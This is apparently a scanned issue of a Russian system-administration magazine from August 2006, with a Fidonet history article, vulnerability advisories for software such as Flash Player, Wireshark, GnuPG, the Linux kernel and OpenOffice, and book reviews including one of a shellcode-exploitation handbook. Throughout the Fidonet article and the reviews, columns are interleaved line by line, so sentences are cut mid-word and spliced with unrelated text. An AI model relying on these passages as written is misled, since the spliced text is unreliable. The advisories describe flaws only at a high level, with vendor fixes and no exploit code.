мерам и работу в терминалах уходило что символом сети Fidonet стала все-
огромное количество времени, и Том, таки именно собака, сжимающая в зу-
являясь неплохим программистом, на- бах компьютерную дискету.
писал программу для автоматизации Следующие версии программы уже
этого процесса. Утилита сама дозва- базировались на пакетной системе пе-
нивалась до электронных досок объяв- редачи данных, что многократно повы-
лений, отправляла письма и скачива- шало скорость работы. В итоге эта уни-
ла поступившие на адрес пользовате- кальная утилита привлекла внимание
ля файлы. Программа эта была назва- и стала весьма популярной. Пользова-
на создателем не иначе как FIDO, что тели программы Fido и положили нача-
впоследствии вызовет массу споров: ло сети, получившей простое и логич-
кто-то утверждал, что так звали соба- ное название – Fidonet.
ку Дженнингса (Фидо – такая же рас- Для подключения к сети достаточ-
пространенная в Соединенных Штатах но было всего лишь установить на ком-
кличка собак, как у нас Рекс или Ша- пьютер программу и написать заявку
рик), другие говорили, что не было у не- Дженнингсу. Использование Fidonet
го никакого пса вообще. В итоге ока- было бесплатным; оплачивались
залось, что Том взял название из пер- только расходы на телефонную связь.
вого попавшегося ему на глаза слова, На протяжении всего периода своего
 ретроспектива
существования Фидо была и остаётся дящий за порядком и развитием се-
некоммерческой сетью. ти, самым главным из которых явля-
Количество пользователей Fidonet ется интернациональный координа-
постоянно росло. Так, если в 1987 го- тор. Принятые им решения может от-
ду их было всего 2,5 тысячи, то к 1992менить только совет координаторов
году эта цифра увеличилась до 16 ты- зон. Теперь подробнее об уровнях ие-
сяч. Одновременно с увеличением ко- рархии.
личества пользователей росли и воз- Наиболее крупная единица в деле-
можности самой сети. Появилась иден- нии Fido – «зона». Всего существует
тификация каждого отдельного учас- шесть зон, каждая из которых охваты-
тника Фидо, возможность отправлять вает, как правило, один континент. Тер-
сообщения и файлы сразу нескольким ритория бывшего СССР вместе с Ев-
адресатам. ропой относится ко второй зоне. Одно
В 1985 году группа программистов время для России хотели выделить от-
из Далласа создала протокол echomail. дельную, седьмую зону, но дело до это-
До этого момента сеть использова- го так и не дошло (и, видимо, уже ни-
лась исключительно для личной пере- когда не дойдет).
писки посредством протокола netmail – Зоны подразделяются на «регио-
фидошного аналога e-mail. С исполь- ны», охватывающие обычно отдельные
зованием echomail появилась возмож- страны. России отведен пятидесятый
Том Дженнингс
ность создания тематических конфе- регион. Каждый регион состоит из «се-
ренций (также именуемых «эхо-кон- тей», адрес которых входит в адрес ре- зуется услугами двести девятнадцато-
ференциями»): человек отправляет гиона – то есть номер всех сетей в Рос- го узла, на котором числится под циф-
сообщение, например, в конферен- сии имеет вид «50ХХ». рой «8».
цию US.FIDO, и его письмо пересыла- В свою очередь сеть объединяет
ется всем, кто на неё подписан. Эти несколько «узлов» в одной географи- Программное обеспечение
тематические конференции и состав- ческой области. Узел – это компьютер, Программное обеспечение для фи-
ляют основу Фидо, в них таится сек- осуществляющий прием почты от дру- дошника – больше, чем просто «софт».
рет ее успеха. гих узлов своей сети. Узел также на- Это – набор для «выживания в сети».
В это же время сеть «вырвалась» зывается «нодой» (от англ. «node»). Итак, для работы с Фидо требует-
из США и проникла в самые разные Владельца ноды, выделившего собс- ся следующий набор программного
точки земного шара, включая Австра- твенный ПК и телефонную линию на обеспечения:
лию и Южную Азию. 1990 год ознаме- благо Fidonet, называют «системным  Mail-клиент – устанавливает со-
новался появлением первого «фидош- оператором» (сокращенно – сисопом). единение с узлом и скачивает поч-
ника» на просторах СССР. У каждого узла есть свои абоненты – ту, как личную (netmail), так и но-
Еще одним значимым моментом пользователи, осуществляющие пе- вые сообщения эхо-конференций,
в истории развития сети стала публи- реписку в Фидо. Абонентов называют на которые подписан пользователь.
«поинтами» (от англ. «point» – пункт,
кация FidoPolicy. Этот свод правил, ко- Наиболее популярной из таких про-
торый можно назвать «конституцией» точка). Формально они не являются грамм является T-mail.
Fidonet, был выпущен для поддержания частью сети, хотя имеют такие же воз-  Эхо-процессор – обрабатыва-
порядка в сети. Правда, с документом можности, как и системные операторы. ет почту эхо-конференций. Распа-
были согласны не все. Том Дженнингс, Но они не обязаны предоставлять свой ковывает пакеты и распределяет
будучи по идеологическим убеждениям телефон и компьютер для работы с Фи- их по группам.
анархистом, прокомментировал выход до другим пользователям (вообще-то,  Трекер – отвечает за обработку
FidoPolicy коротко, но емко: «Old smelly
сисопы также не обязаны, но делают личной почты. Дело в том, что из-за
crock of shit» («Старый дурно пахнущийэто, причем совершенно безвозмезд- специфичной для Fidonet доставки
кувшин с отходами»). Именно устав Фи- но; подобное поведение и стало одной файлов (от одного узла к другому;
до стал главной причиной ухода из се- из причин, по которой Fidonet стала на- причем письмо зачастую проходит
ти ее создателя. Однако стремитель- зываться «сетью друзей»). путь среди разных регионов и зон)
но разраставшаяся Fidonet завоёвы- Зачем же нужно такое многоуров- письма пакуются. Распаковка и яв-
вала всё большую популярность, и по- невое административное деление? ляется основной задачей трекера.
теря Дженнингса, ныне являющегося Это сделано для идентификации поль-  Файл-эхо-процессор (также на-
сотрудником интернет-провайдера, для зователей. Каждый поинт в Фидо име- зываемый «файл-тоссером») –
неё уже мало что значила. ет свой уникальный, не меняющийся программа для работы в файл-эхах.
адрес в виде: «Зона:Сеть/Узел.Поинт». Файловые эхо-конференции пред-
Иерархия сети Например, из адреса 2:5030/219.8 сле- ставляют собой аналог ftp, с помо-
Fidonet обладает иерархической струк- дует, что его владелец находится во щью которых пользователи обме-
турой. На каждом уровне иерархии второй зоне, в городе Санкт-Петербур- ниваются нетекстовой информа-
есть свой координатор – человек, сле- ге (для Москвы код сети – 5020), поль- цией (ПО и прочее).

№8, август 2006 87

 ретроспектива
Устав сети FidoPolicy
Официальный сайт Fidonet. Символ сети – собака, сжимающая в зубах дискету
 Редактор – наверное, самая важ- полнить поля, вроде имени и адреса
ная программа. Посредством ре-
дактора просматриваются полу-
ченные письма и создаются новые.
Безоговорочным лидером среди
утилит такого рода и по-настояще-
му культовой фидошной програм-
мой является GoldEd.
Раньше все программы требовали
долгой ручной настройки, что отпуги-
вало многих неискушенных пользова-
телей. Сейчас в Интернете можно най-
ти самонастраивающиеся пакеты, для
работы которых достаточно лишь за-
88
в сети и т. д.
Фидо на просторах
нашей родины
В России сеть Fidonet появилась
в 1990 году. Первым городом, где по-
явилась сеть, стал Новосибирск. Ев-
гений Чуприянов (в Фидо он извес-
тен как Eric Fletcher) с помощью мо-
дема Courier2400e совершил звонок
на единственную тогда работавшую
BBS в СССР – Kremlin BBS. Этот узел
принадлежал Елене Тадеуш, которая
в то время работа в советско-польском
компьютерном журнале. Свои статьи
она отправляла прямыми звонками че-
рез BBS, а в ответ получала уже свер-
станные номера издания. Для других
пользователей узел был бесполезен:
на нем не было никакой общедоступ-
ной информации. Первые програм-
мы российские фидошники скачива-
ли кто из Эстонии, кто из Чехии. Це-
на на звонки в другие страны была ог-
ромной, но это не останавливало ком-
пьютерных энтузиастов.
Однако уже летом того же года в Но-
восибирске появились две новые BBS:
Morning Star и The Court of the Crimson
King. На них хранилось программное
обеспечение для подключения к Fidonet
и соответствующие утилиты.
Со временем в регионе были обра-
зованы первые сети: 5000/* и 5010/*.
Чуть позже появилась сеть и в Москве.
Первый московский фидошник – Алек-
сей Забpодин, был поинтом у вышеупо-
мянутого Евгения Чуприянова. Позже
он создаст свой собственный узел.
После включения России в пяти-
десятый регион на собрании систем-
ных операторов были выбраны сете-
вые и региональные координаторы.
Одним из первых координаторов Рос-
сийского региона «50» стал Пит Кви-
тек, известный своим участием в ста-
новлении кодировки 866 в качестве ос-
новной для MS-DOS и модерировани-
ем многих эхо-конференций.
Дальнейшее расширение Fidonet
было весьма тривиальным: от первых
пользователей о сети узнавали в дру-
гих городах, подключались, а затем от-
крывали новые узлы, о которых в свою
очередь узнавали новые люди и т. д.
Первыми эхо-конференциями в Рос-
сии стали SU.GENERAL и SU.HARD&SOFT.
Особенно популярна была вторая, впос-
ледствии разделившаяся на две: од-
на была посвящена аппаратному обес-
печению, а другая – программам.
Других виртуальных мест, где люди
могли бы обсуждать эти темы, в то вре-
мя попросту не существовало. Кстати,
«SU» в начале названия конференции
расшифровывалось как «South Ural»
(«Южный Урал»). Впрочем, для боль-
шинства аббревиатура ничего кроме
как «Soviet Union»(«Советский союз»)
значить не могла, посему никаких спо-
ров не возникло.
Во всех первых эхах модерато-
ром был Михаил Браво – этот чело-

век, кстати, позже организовал самую
первую в России Санкт-Петербургскую
группу пользователей Linux (Linux User
Group). Когда трафик в конференциях
вследствие наплыва новых пользова-
телей стал очень велик, на собрании
системных операторов функции моде-
ратора были распределены между не-
сколькими людьми. В своё время Фи-
до пользовались такие личности, как
Леонид Каганов, Алекс Экслер, Сер-
гей Лукьяненко, тогда еще мало кому
известные и зачастую публиковавшие
в сети свои рассказы.
Эхо-конференции
«Эхи» – тематические конференции,
в которых можно обсудить то или иное
событие, получить совет, прочитать ин-
тересные истории и т. д. Они были со-
зданы по типу News-конференций се-
ти Usenet, которая в нашей стране по-
пулярности так и не получила.
У каждой конференции свои пра-
вила: в некоторых правит бал стро-
гое модерирование, в других же ца-
рит вседозволенность. Тематика са-
мая разная: существуют спортивные
эхи, компьютерные, клубы любителей
автомобилей и др.
В российском Фидо в его лучшие
годы существовало порядка трех ты-
сяч конференций, большая часть из ко-
торых функционирует до сих пор. Са-
мые популярные эхи:
 RU.ANEKDOT – безусловно, са-
мая известная конференция. По-
явилась летом 1992 года, став на-
следницей SU.HUMOR. Предназна-
чалась она для публикации анекдо-
тов, однако обсуждали в ней прак-
тически всё. Каждый новичок в
Фидо обязательно подписывается
на RU.ANEKDOT.
 RU.LINUX.CHAINIK – можно ска-
зать, единственная конференция,
где новичок мог что-либо узнать
о свободном ПО. Здесь выклады-
вались FAQ, документы, инфор-
мация о различных дистрибути-
вах. Во время, когда Интернет еще
не был общедоступным, а книжек
о *nix просто не существовало, не-
обходимость в подобной конферен-
ции трудно было переоценить. Су-
ществовала и RU.LINUX, предна-
значавшаяся для более опытных
пользователей, однако она была
менее популярна и интересна.
№8, август 2006
Жаргон Фидо
За время существования сети Fidonet в ней
зародился свой, компьютерный лексикон,
позже «завоевавший» и Интернет. Вот не-
которые из жаргонизмов Фидо:
 ака (aka, also known as) – «также из-
вестен как» (другое имя, другой адрес
человека);
 борда (BBS, Bulleten Board System) –
электронная доска объявлений;
 босс, нода (узел) – основная единица
Fidonet, через которою с сетью соеди-
няются пользователи (поинты);
 зы (p.s., post scriptum) – постскрип-
тум;
 имхо (imho) – по моему мнению;
 нодлист (nodelist) – список узлов в ка-
ком-либо локальном сегменте Fidonet;
 SU.TORMOZ – весьма специфич-
ное место. Больше всего похоже
на современные веб-чаты, толь-
ко в замедленном виде. Разгово-
ры совершенно ни о чем, зачас-
тую переходившие во взаимные
оскорбления. Тем не менее вокруг
конференции образовалось це-
лое коммьюнити под названием
«Su.Tormoz team», участники кото-
рого были постоянными подписчи-
ками эхи на протяжении несколь-
ких лет.
 SU.KASHENKO.LOKAL – о порта-
ле Udaff.com слышал, наверное,
каждый, кто имеет доступ к ресур-
сам сети Интернет. Так вот, сама
по себе субкультура так называе-
мых падонкаф зародилась именно
в Фидо, в выше обозначенной эхе.
Название было выбрано из-за из-
вестной психиатрической больни-
цы. «Кащениты», как их именова-
ли в сети, отличались сильной неа-
декватностью в общении, часто ис-
пользовали ненормативную лекси-
ку, не утруждали себя следованию
нормам русского языка.
 RU.NETHACK – место общения со-
здателей компьютерных вирусов,
хакеров и компьютерных хулига-
нов. Несмотря на то что там иног-
да появлялись настоящие специ-
алисты в области IT-безопаснос-
ти, большей частью подписчи-
ками конференции являлась мо-
лодёжь, спорившая о «вечных» те-
мах, типа «Что круче – Basic или
Pascal».
ретроспектива
 оффтопик (offtopic) – сообщение
не по теме конференции;
 рулез (rulez) – возглас восхищения,
высшего одобрения;
 сабж (subject) – тема сообщения;
 сакс (sucks или suxx) – что-то плохое,
нехорошее;
 cисоп – сокращение от «системный
оператор», администратор узла сети;
 эха – тематическая конференция;
 эхотаг (echotag) – название конферен-
ции;
 LOL (Laughing Out Loud) – говорится
в ответ на что-либо смешное;
 RTFM (Read The F..k... Manual) – мож-
но перевести как «будьте добры изу-
чить документацию по интересующе-
му вас вопросу».
 MO.ECHO – конференция для жи-
телей столицы. Московские ново-
сти, события, слухи.
Вообще, об эхах говорить мож-
но бесконечно. Существовали и му-
зыкальные (SU.MUSIC), и политичес-
кие (SU.POL), и великое множест-
во компьютерных конференций. Пос-
леднее легко объяснимо – пользова-
телями Фидо в нашей стране являют-
ся, главным образом, профессиональ-
ные программисты и системные адми-
нистраторы.
Субкультура Fidonet
Говорить о Фидо только с технической
точки зрения (как о компьютерной се-
ти) по меньшей мере неправильно.
Это прежде всего – сообщество, я бы
даже сказал – субкультура.
Отношения в Fidonet действитель-
но неформальные, «панибратские».
Независимо от того, кем является со-
беседник, принято обращаться на «ты».
Фидошники, как правило, помогают
друг другу. Интересный факт: в нача-
ле становления сети по Москве езди-
ла команда сисопов и бесплатно на-
страивала каждому желающему до-
ступ в Fidonet.
Впрочем, несмотря на это, са-
мые жестокие «флеймы» происходи-
ли именно в Фидо. Термин «Holy war»
(«священная война») появился как раз
в этой сети. С++ против Pascal, WarCraft
против StarCraft, в конце концов, «Али-
са» против «Гражданской обороны»…
подобные споры составляли огромный
89
 ретроспектива
Архивы эхо-конференций Фидо на сайте groups.google.ru
процент трафика Fidonet. Для «разбо-
рок по интересам» были отведены спе-
циальные эхи, вроде SU.NAEZD или
SU.FLAME, однако модераторам при-
ходилось прекращать «священные вой-
ны» и в других конференциях.
Как и в любом сообществе, в своё
время в Фидо существовали свои зна-
менитости, свои легенды. Например,
пользователь Алексей Попов просла-
вился тем, что выделил для своего
любимого пса, Бутуза, собственный
узел. Причем Алексей везде утверж-
дал, что Бутуз – собака только по ма-
тери, по отцу же он – человек. Шутки
шутками, но системным оператором
одного из узлов в Москве числился не-
кий Butuz Popov.
Крупнейшей же мистификацией
Фидо считался Алекс Экслер. Оказа-
лось, что под этим псевдонимом скры-
ваются аж шесть человек, работаю-
щих в Московском институте геофи-
зики. Псевдоним сложился из первых
букв фамилий участников. Виртуаль-
ный персонаж использовался для кол-
лективного выхода в Фидо всей груп-
пой и стал довольно известен на про-
сторах сети. История с разоблачени-
ем наделала много шума. Однако вы-
яснить, какое же отношение ко всему
этому имел настоящий Алекс Экслер,
писатель и создатель сайта exler.ru,
никто так и не смог.
Известностью пользовалась и Ка-
тя Лажинцева, главным образом пото-
му, что была первой и на протяжении
90
некоторого времени единственной де-
вушкой в Fidonet.
В Фидо сформировался целый
фольклор, надо заметить, весьма са-
мобытный. Анекдоты, байки, расска-
зы… Например, множество авторов
писало в созданную Кагановым кон-
ференцию OBEC.PACTET.
О встречах фидошников наверня-
ка слышал каждый. Это так называе-
мые сисопки и поинтовки. На первых
собираются владельцы узлов, на вто-
рых – рядовые участники Фидо. На по-
добных встречах пьют пиво (некоторые
даже язвительно называют поинтов-
ки «фидопойками»), обсуждают сете-
вое житие-бытие. Да и познакомиться
с человеком, с которым общался ис-
ключительно в сети и знал его лишь
по никнейму, всегда интересно. Обыч-
но поинтовки проводятся на городском
уровне, реже – устраиваются междуго-
родние встречи. Те, кто посещал мос-
ковскую выставку «Комтек» в девянос-
тые годы прошлого столетия, наверня-
ка замечали скопление людей с прико-
лотыми на грудь номерами-идентифи-
каторами в Фидо.
Среди московских пользователей
популярностью пользовалось заведе-
ние «Netclub». Этот клуб (скорее – бар)
был любимым местом фидошников. По-
том «Netclub» стали посещать далекие
от компьютеров люди, периодически ус-
траивавшие там вечеринки с распити-
ем алкогольных напитков и фейервер-
ком, что не обходилось без порчи ме-
бели и музыкальной аппаратуры. Поз-
же «Netclub», к огромному сожалению
пользователей Фидо, был закрыт.
Грустные реалии Fidonet
Сеть Фидо достигла пика популярнос-
ти в 1996 году, когда по официальным
данным количество узлов достигло
35 тысяч (а по неофициальным – в не-
сколько раз больше).
В то время многие сравнивали
Fidonet и Интернет, приводя доводы
в пользу первого. Главным преиму-
ществом считалась бесплатность «се-
ти друзей», но с каждым годом этот ко-
зырь становился все менее актуаль-
ным в связи с удешевлением доступа
к глобальной паутине. Теперь вопросов
уже нет – Интернет с его красивыми и
информативными порталами одержал
безоговорочную победу над системой
конференций, а фидошники разбре-
лись по веб-форумам и блогам.
Большинство эхо-конференций
функционирует и поныне, правда, ве-
роятность того, что ваше сообщение
будет хоть кем-то прочтено, близка
к нулю. Ушли из Фидо все те, кого мож-
но было считать элитой сети, закры-
лась масса узлов. Вместе с ними ис-
чезла и сама атмосфера, сеть переста-
ла восприниматься как сообщество.
На данный момент сеть Fidonet, ко-
нечно же, ещё не умерла. Кто-то пи-
шет по привычке, кого-то привлекает
бесплатный доступ. Однако очевидно,
что это – уже не старая-добрая Фидо.
Как бы там ни было, Fidonet навсегда
останется в памяти тысяч пользовате-
лей местом, в котором они встретили
новых приятелей и провели лучшие ча-
сы своей жизни.
Я выражаю благодарность Сергею
Фролову (frs@overlink.ru) за помощь
в работе над статьей.
Редактор рубрики: Дмитрий Мороз
1. http://groups.google.ru – обновляемые
архивы эхо-конференций Fidonet.
2. http://faqs.org.ru/Fidonet/fidohist.htm –
история российского Фидо в вопросах
и ответах.
3. http://www.Fidonet.org – официальный
сайт сети.
4. http://lib.ru / TXT/Fidonet.txt – устав
Fidonet (FidoPolicy).
5. http://rndfido.net.ru – документация, про-
граммы.

Выполнение произвольного кода
в Macromedia Flash Player
Программа: Macromedia Flash Player 8.0.24, возможно, бо-
лее ранние версии.
Опасность: Высокая.
Описание: Уязвимость существует из-за неизвестной
ошибки доступа к памяти при обработке SWF-файлов. Уда-
ленный пользователь может с помощью специально сфор-
мированного SWF-файла вызвать переполнение буфера
и выполнить произвольный код на целевой системе.
URL производителя: www.macromedia.com.
Решение: Установите последнюю версию (9.0) с сайта про-
изводителя.
Отказ в обслуживании в MailEnable
Программа: MailEnable Standard (все версии), MailEnable
Professional (все версии), MailEnable Enterprise (все вер-
сии).
Опасность: Средняя.
Описание: Уязвимость существует из-за ошибки в служ-
бе SMTP при обработке аргументов команды HELO. Уда-
ленный пользователь может с помощью специально сфор-
мированной команды HELO вызвать отказ в обслужива-
нии приложения.
URL производителя: www.mailenable.com.
Решение: Установите исправление с сайта производи-
теля.
Раскрытие данных в IBM WebSphere
Application Server
Программа: IBM WebSphere Application Server 5.x.
Опасность: Средняя.
Описание: 1. Уязвимость существует из-за ошибки в реа-
лизации веб-контейнера. Удаленный пользователь может
просмотреть исходный код JSP-произвольных файлов.
2. Неизвестная ошибка существует в административ-
ной консоли.
URL производителя: www.ibm.com.
Решение: Установите исправление с сайта производи-
теля.
Обход каталога в Webmin
Программа: Webmin 1.270 для Windows и более ранние
версии.
Опасность: Средняя.
Описание: Уязвимость существует из-за неизвестной
ошибки при обработке входных данных. Удаленный поль-
зователь может просмотреть произвольные файлы на сис-
теме.
URL производителя: www.webmin.com.
Решение: Установите последнюю версию (1.280) с сайта
производителя.
№8, август 2006
bugtraq
Множественные уязвимости в Wireshark
Программа: Wireshark (ранее Ethereal) версии до 0.99.2.
Опасность: Высокая.
Описание: Уязвимости существуют в различных диссек-
торах протоколов из-за ошибок проверки границ данных,
ошибок форматной строки, ошибок завышения на едини-
цу и ошибок распределения памяти. Удаленный пользо-
ватель может вызвать отказ в обслуживании приложения,
потребить все доступные ресурсы на системе и выполнить
произвольный код.
URL производителя: www.wireshark.org.
Решение: Установите последнюю версию (0.99.2) с сайта
производителя.
Отказ в обслуживании в GnuPG
Программа: GnuPG 1.4.3 и 1.9.20, возможно, более ран-
ние версии.
Опасность: Средняя.
Описание: Уязвимость существует из-за ошибки в parse-
packet.c при обработке длины пакета. Удаленный пользова-
тель может с помощью специально сформированного паке-
та, содержащего слишком большое значение в поле length,
употребить все доступные ресурсы на системе и вызвать от-
каз в обслуживании. Дальнейшая эксплуатация уязвимос-
ти позволит вызвать целочисленное переполнение буфера
и аварийно завершить работу gpg. Для успешной эксплуата-
ции уязвимости должна использоваться опция --no-armor.
URL производителя: www.gnupg.org.
Решение: Установите последнюю версию с сайта произ-
водителя.
Отказ в обслуживании в Lotus Domino
Программа: Lotus Domino 6.x.
Опасность: Средняя.
Описание: Уязвимость существует из-за ошибки в меха-
низме маршрутизации сообщений (nrouter.exe) при обра-
ботке vCal-запросов. Удаленный пользователь может пос-
лать специально сформированный vCal-запрос и потребить
все процессорные ресурсы на системе.
URL производителя: www.lotus.com.
Решение: Установите последнюю версию (6.5.4 FP1, 6.5.5
или 7.0) с сайта производителя.
Отказ в обслуживании в ядре Linux
Программа: Linux Kernel 2.6.x.
Опасность: Средняя.
Описание: Уязвимость существует из-за ошибки при обра-
ботке SCTP-пакетов. Удаленный пользователь может с по-
мощью специально сформированного SCTP-пакета вызвать
отказ в обслуживании системы.
URL производителя: www.kernel.org.
Решение: Установите последнюю версию (2.6.16.23
или 2.6.17.3) с сайта производителя.
Составил Александр Антипов
91
 книжная полка

Linux. Сборник рецептов

Карла Шрёдер
темах на базе rpm, установка и сопро- список различных ссылок, по которым
вождение программного обеспече- можно ознакомиться с более подроб-
ния в системах на базе дистрибутива ной документацией по GNU/Linux и со-
Debian, сборка программ из исходных путствующим темам. Иногда бывают
кодов, идентификация оборудования, моменты, когда какую-либо задачу
редактирование текстовых файлов нужно решить быстро, а на детальное
в joe и vim, запуск и завершение ра- изучение документации попросту нет
боты в Linux, управление пользовате- времени, именно в подобных случаях
лями и группами, операции с файла- эта книга будет очень кстати. По боль-
ми и разделами, заплатки и настрой- шей части все советы и примеры в кни-
ка обновления ядра, запись CD и DVD, ге ориентированы на дистрибутивы
системный загрузчик и альтернатив- Red Hat, Fedora и Debian (так пишет ав-
ная загрузка. тор), однако нужно заметить, что боль-
Восстановление работоспособнос- шинство из них актуальны и для других
ти системы на примере Knoppix, CUPS, дистрибутивов. Замечательное изда-
Книга носит сугубо практических ха- настройка видео и X-window. Архива- ние, которое окажется полезным всем
рактер, и весь излагаемый материал ция и восстановление, удаленный до- без исключения системным админист-
построен по схеме «проблема-реше- ступ, управление версиями, протокол раторам ОС GNU/Linux.
ние-обсуждение». По сути это изда- NTP. Создание почтового сервера на
ние – огромный сборник различных основе Postfix, борьба со спамом и вре-  Издательство: «Питер»
решений из самых разных областей доносными программами, веб-сервер  Год издания: 2006
администрирования и использования Apache, Samba, а также вопросы, свя-  Количество страниц: 432
ОС GNU/Linux. Круг рассмотренных занные с DNS. Все это и многое дру-  ISBN: 5-469-01188-7
тем очень велик, судите сами: уста- гое вы найдете на страницах этой кни-  Цена: ≈ 390 руб.
новка и модификация программ в сис- ги. В приложении находится хороший Книга предоставлена издательством «Питер».

Искусство взлома и защиты систем

Это издание является переводом
ставшей уже культовой книги «The
Shellcoder`s handbook: discovering and
exploiting security holes» от гуру хакин-
га и безопасности с мировыми име-
нами. Из первой части книги вы узна-
ете о процессе эксплуатации уязви-
мостей в ОС GNU/Linux, работающих
на компьютерах с x86-архитектурой.
Объяснения начинаются с самых азов,
Джек Козиол, Дэвид Личфилд, Дэйв Эйтэл и др.
так что даже люди, абсолютно незна-
комые с этой темой, при желании лег-
ко освоятся. Подробно рассмотрены
следующие темы: переполнение стека,
создание внедряемого кода (shellcode),
переполнение кучи, а также дефекты
форматных строк.
Во второй части, которая носит на-
звание «Платформа Windows», авто-
ры повествуют о разработке внедря-
емого кода для Windows, различных
переполнениях, возможных в процес-
се использования этой ОС и различ-
ного стороннего ПО, обходе различ-
ных фильтров.
Освоив третью часть книги, вы на-
учитесь самостоятельно искать уяз-
вимости в различных системах и про-
граммных комплексах. Среди рас-
смотренных тем: формирование ра-
бочей среды (необходимая докумен-
тация, обзор различного ПО), внесе-
ние ошибок, искусство фазинга, ана-
лизаторы исходных текстов на языках
семейства C, инструментальный ана-
лиз, трассировка уязвимостей, двоич-
ный анализ.
Из раздела «Дополнительные ма-
териалы» вы узнаете об атаках на ба-
зы данных (MS SQL и Oracle), слож-
ностях, с которыми вы можете столк-
нуться при атаке на ту или иную систе-
му, о переполнениях в ядре и эксплуа-
тации уязвимостей ядра (на примерах
ОС Solaris и OpenBSD). Главная заслу-
га авторов, в том что им удалось удач-
но изложить весь представленый ма-
териал в простой и доступной форме,
хорошо его структурировав и сопрово-
дим большим количеством примеров.
Замечательная книга, которая будет
интересна широкому кругу системных
администраторов и программистов.
 Издательство: «Питер»
 Год издания: 2006
 Количество страниц: 416
 ISBN: 5-469-01233-6
 Цена: ≈ 675 руб.
Книга предоставлена издательством «Питер».

92
 книжная полка

Тема защиты информации от посто-
ронних глаз была актуальна во все
времена. Криптография как наука яв-
ляется одной из основополагающих
во всех областях, связанных с защитой
данных. Несмотря на то что эта книга
по сути является учебником для сту-
дентов вузов, стиль изложения мате-
риала достаточно «живой», без излиш-
ней сухости и академической строгос-
Мир программирования.
Криптография
Найгел Смарт
ти. Также нельзя не отметить, что эту аутентичного открытого ключа. Не ос-
книгу можно начать изучать с мини- тались без внимательного рассмот-
мальным представлением о криптог- рения и вопросы, связанные со стой-
рафии как о науке (однако предпола- костью шифров. Вы узнаете об атаках
гается, что знания математики на до- на схемы с открытым ключом, мето-
статочном уровне у вас все же есть). дах определения стойкости, теорети-
В первой части, которая носит назва- ческой сложности и доказуемой стой-
ние «Предварительные математичес- кости. В приложении находится мате-
кие сведения», автор расскажет вам риал, посвященный основной матема-
об арифметике остатков, конечных по- тической терминологии, а также раз-
лях и вероятностях, а также об эллип- личные примеры реализации на языке
тических кривых. Раздел «Симметрич- Java. Хорошая книга, которая окажется
ное шифрование» представлен мате- полезной не только студентам, изучаю-
риалом об истории шифров, теорети- щим криптографию, но и программис-
ко-информационной стойкости. Под- там, работающим в данной области.
робно рассмотрены DES и распреде-
ление симметричных ключей. В тре-  Издательство: «Техносфера»
тьей части «Криптосистемы с откры-  Год издания: 2004
тым ключом и подписи» автор повес-  Количество страниц: 528
твует об основных алгоритмах шиф-  ISBN: 5-94836-043-1
рования с открытым ключом, тестах  Цена: ≈ 370 руб.
на простоту, факторизации, дискрет- Книга предоставлена издательством «Тех-
ных логарифмах, методах получения носфера».

Администрирование Windows Server 2003.

Это издание является переводом книги
издательства O`Reilly «Learning Windows
Server 2003», что само по себе уже ука-
зывает на то, что книга хорошая. Повес-
твование начинается с вводной части по
Windows Server 2003. Далее вы узнае-
те об установке и развертывании ОС,
включая вопросы, связанные с автома-
тической установкой, обновлении уста-
новленных копий. Службы файлов и пе-
Подробное руководство
Джонатан Хассел
чати (установка служб общего доступа
к файлам, применение автономных па-
пок, квоты, резервное копирование, ис-
пользование зашифрованных файло-
вых систем). Доменная структура име-
нования (рассмотрены зоны и доме-
ны, записи ресурсов, процесс создания
сервера имен, зоны, интегрированные
в AD). Active Directory (объекты и кон-
цепции AD, построение структуры, реп-
ликации каталогов, процесс миграции
на AD, а также поддержка существую-
щей инфраструктуры). Групповая поли-
тика и IntelliMirrot (введение в групповую
политику, средства управления, локаль-
ная групповая политика, рекомендации
по развертыванию). Защита Windows
и управление исправлениями (принци-
пы информационной безопасности, ау-
дит и журнал событий, службы SUS). IIS
(архитектура, компоненты и установка
Обзор книжных новинок подготовил Александр Байрак
IIS, управления различными служба-
ми, автоматизация администрирова-
ния). Инфраструктура .NET Framework
(введение, типы приложений, защита,
сборки, модели развертывания). Служ-
бы терминалов Windows (протокол RDP,
администрирование служб терминалов,
управление в командной строке). Также
рассмотрены кластерные технологии и
NLB кластеры, службы индексирования
и очереди сообщений. Отличная книга
займет достойное место в библиотеке
технической литературы любого систем-
ного администратора Windows.
 Издательство: «Питер»
 Год издания: 2006
 Количество страниц: 576
 ISBN: 5-91180-019-5
 Цена: ≈ 450 руб.
Книга предоставлена издательством «Питер».

№8, август 2006 93

 bugtraq
Множественные уязвимости
в OpenOffice
Программа: OpenOffice 1.1.x, OpenOffice 2.x.
Опасность: Средняя.
Описание: 1. Уязвимость существует при обработке опре-
деленных Java-апплетов в документах OpenOffice. Удален-
ный пользователь может с помощью специально сформи-
рованного документа обойти ограничения песочницы и по-
лучить доступ к системным ресурсам с привилегиями те-
кущего пользователя.
2. Уязвимость существует из-за ошибки при обработке
макросов, прикрепленных к документам. Злоумышленник
может без ведома пользователя выполнить произвольный
Basic-код с привилегиями текущего пользователя.
3. Уязвимость существует из-за ошибки проверки гра-
ниц данных при обработке определенных XML-файлов. Уда-
ленный пользователь может с помощью специально сфор-
мированного XML-файла вызвать переполнение буфера
и выполнить произвольный код на целевой системе.
URL производителя: www.openoffice.org.
Решение: Установите последнюю версию (2.0.3) с сайта
производителя.
Раскрытие данных в .NET Framework
Программа: .NET Framework 2.0.
Опасность: Средняя.
Описание: Уязвимость существует из-за ошибки при об-
работке URL. Удаленный пользователь может обойти огра-
ничения безопасности ASP.Net и получить неавторизован-
ный доступ к объектам в каталогах приложений (Application
folder). Для удачной эксплуатации уязвимости злоумышлен-
ник должен знать название объекта.
URL производителя: www.microsoft.com,
Решение: Установите исправление с сайта производи-
теля.
Отказ в обслуживании в Samba
Программа: Samba 3.0.1 – 3.0.22.
Опасность: Низкая.
Описание: Уязвимость существует из-за ошибки при об-
работке большого количества подключений к сетевым ре-
сурсам. Удаленный пользователь может создать большое
количество соединений и заставить smbd потреблять боль-
шое количество системных ресурсов.
URL производителя: www.samba.org.
Решение: Установите последнюю версию (3.0.23) с сайта
производителя.
Повышение привилегий в ядре Linux
Программа: Linux kernel версии до 2.6.17.4.
Опасность: Низкая.
Описание: Уязвимость существует из-за недостаточной
обработки данных дампа ядра. Злоумышленник может со-
здать дамп в запрещенных директориях или получить при-
вилегии пользователя root на системе.
URL производителя: www.kernel.org.
Решение: Установите последнюю версию ядра (2.6.17.4)
с сайта производителя.
94
Раскрытие данных в Webmin/Usermin
Программа: Webmin версии до 1.290, Usermin версии
до 1.220.
Опасность: Средняя.
